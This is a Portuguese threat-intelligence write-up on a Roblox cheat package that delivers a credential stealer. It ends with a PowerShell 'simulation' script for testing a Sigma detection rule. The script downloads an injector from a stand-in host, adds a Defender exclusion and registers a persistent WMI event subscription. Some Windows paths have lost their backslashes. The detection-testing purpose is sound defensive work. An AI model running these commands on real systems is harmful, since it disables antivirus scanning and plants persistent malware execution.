Trapaças no Roblox com Inteligência Artificial Entregam o Stealer Yuta/Solara

Resumo

Um pacote malicioso de trapaça do Roblox combina uma interface .NET trojanizada com um ladrão Python empacotado via PyInstaller. O carregador inicial enfraquece as proteções do Microsoft Defender, recupera uma carga útil de segunda etapa do MediaFire e executa malware derivado do Glove Stealer para coletar credenciais, cookies, arquivos de carteira e ativos relacionados a jogos. Os dados roubados são então exfiltrados através de webhooks do Discord criptografados e apoiados por um bot RAT persistente do Discord.

Investigação

O relatório fornece uma análise estática detalhada do malware, incluindo extração da carga útil do PyInstaller, descompilação do bytecode Python 3.12 e mapeamento do fluxo de trabalho de roubo de credenciais. Também delineia toda a cadeia de execução de múltiplas etapas, os métodos de evasão de defesa usados pelos operadores e a abordagem de desvio de cinco camadas visando as proteções de Criptografia Vinculada ao App do Chrome.

Mitigação

As organizações devem bloquear a execução de binários desconhecidos e não assinados, aplicar listas restritas de aplicativos permitidos, monitorar alterações nas exclusões do Defender e uso suspeito do PowerShell, além de detectar downloads incomuns de dados de configuração do Pastebin. O tráfego de webhook do Discord deve ser restrito ou monitorado de perto, e os defensores devem observar lançamentos anormais do Chrome que usam bandeiras relacionadas a depuradores.

Resposta

As equipes de segurança devem alertar sobre a criação de winupdate.exe no cache do AppData, modificações suspeitas na chave Run do registro, criação de tarefas agendadas e atividade incomum em canais do Discord. Arquivos maliciosos devem ser colocados em quarentena, exclusões não autorizadas do Defender removidas e coleta forense realizada em qualquer repositório de credenciais que possa ter sido coletado.

Execução de Simulação

Pré-requisito: O Check de Pré-voo de Telemetria & Baseline deve ter sido aprovado.

Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção.

• Narrativa & Comandos do Ataque:

  1. Transferência de Ferramenta de Ingresso (T1105): O invasor baixa o executor malicioso do Roblox (SLaunch.exe) de um servidor web comprometido.
  2. Execução com Manipulação do Defender (T1548.002): Usando PowerShell, o invasor executa SLaunch.exe com uma linha de comando que invoca Add-MpPreference -ExclusionPath "C:Roblox" para incluir na lista permitida a pasta instalação do Roblox, impedindo que o Windows Defender escaneie a carga injetada.
  3. Persistência (T1546.003 / T1547.001): Uma inscrição de evento WMI é criada para relançar SLaunch.exe na inicialização do sistema.
  4. Colheita de Credenciais (T1056.001, T1555.003): Enquanto o injetor está em execução, ele captura teclas digitadas e extrai credenciais salvas do Roblox dos armazenamentos de navegadores.

• Script de Teste de Regressão: O seguinte script PowerShell reproduz os passos 2‑3 e gera a telemetria que a regra Sigma espera.

  # ------------------------------------------------------------
  # Execução do Injetor do Roblox + Exclusão do Defender (Script TC)
  # ------------------------------------------------------------
  
  # Caminhos (ajustar conforme necessário)
  $injectorPath = "C:TempSLaunch.exe"
  $defenderExcl = "C:Roblox"
  
  # 1. Certifique-se de que o injetor existe (download placeholder)
  if (-Not (Test-Path $injectorPath)) {
      Write-Host "Baixando injetor malicioso..."
      Invoke-WebRequest -Uri "http://malicious.example.com/SLaunch.exe" -OutFile $injectorPath
  }
  
  # 2. Execute o injetor com a linha de comando de exclusão do Defender
  $cmd = "-run -script `"UpdateSplash.EnsureWindowsDefenderExclusion()`" -Add-MpPreference -ExclusionPath `"$defenderExcl`""
  Start-Process -FilePath $injectorPath -ArgumentList $cmd -NoNewWindow
  
  # 3. Crie uma inscrição de evento WMI permanente para persistência
  $wmiFilter = @"
  SELECT * FROM __InstanceCreationEvent
  WITHIN 60
  WHERE TargetInstance ISA 'Win32_Process' 
  AND TargetInstance.Name = 'SLaunch.exe'
  "@
  
  $filterPath = "ROOTDEFAULT"
  $filterName = "RobloxInjectorFilter"
  $consumerName = "RobloxInjectorConsumer"
  
  # Registrar filtro
  $filter = Set-WmiInstance -Namespace $filterPath -Class __EventFilter `
      -Arguments @{ Name=$filterName; Query=$wmiFilter; EventNamespace='rootcimv2'; QueryLanguage='WQL' }
  
  # Registrar consumidor de linha de comando
  $consumer = Set-WmiInstance -Namespace $filterPath -Class CommandLineEventConsumer `
      -Arguments @{ Name=$consumerName; CommandLineTemplate="`"$injectorPath`"" }
  
  # Vincular filtro ao consumidor
  Set-WmiInstance -Namespace $filterPath -Class __FilterToConsumerBinding `
      -Arguments @{ Filter=$filter.__PATH; Consumer=$consumer.__PATH }
  
  Write-Host "Simulação completa – a telemetria de detecção deve ter sido gerada."

• Comandos de Limpeza: Remova a exclusão do Defender e a inscrição de WMI criada acima.

  # Remover exclusão do Defender
  Remove-MpPreference -ExclusionPath "C:Roblox"
  
  # Excluir filtro & consumidor WMI
  $filterPath = "ROOTDEFAULT"
  Get-WmiObject -Namespace $filterPath -Class __EventFilter -Filter "Name='RobloxInjectorFilter'" | Remove-WmiObject
  Get-WmiObject -Namespace $filterPath -Class CommandLineEventConsumer -Filter "Name='RobloxInjectorConsumer'" | Remove-WmiObject
  Get-WmiObject -Namespace $filterPath -Class __FilterToConsumerBinding `
      -Filter "Filter=`"__EventFilter.Name='RobloxInjectorFilter'`"" | Remove-WmiObject
  
  # Excluir o binário injetor
  Remove-Item -Path "C:TempSLaunch.exe" -Force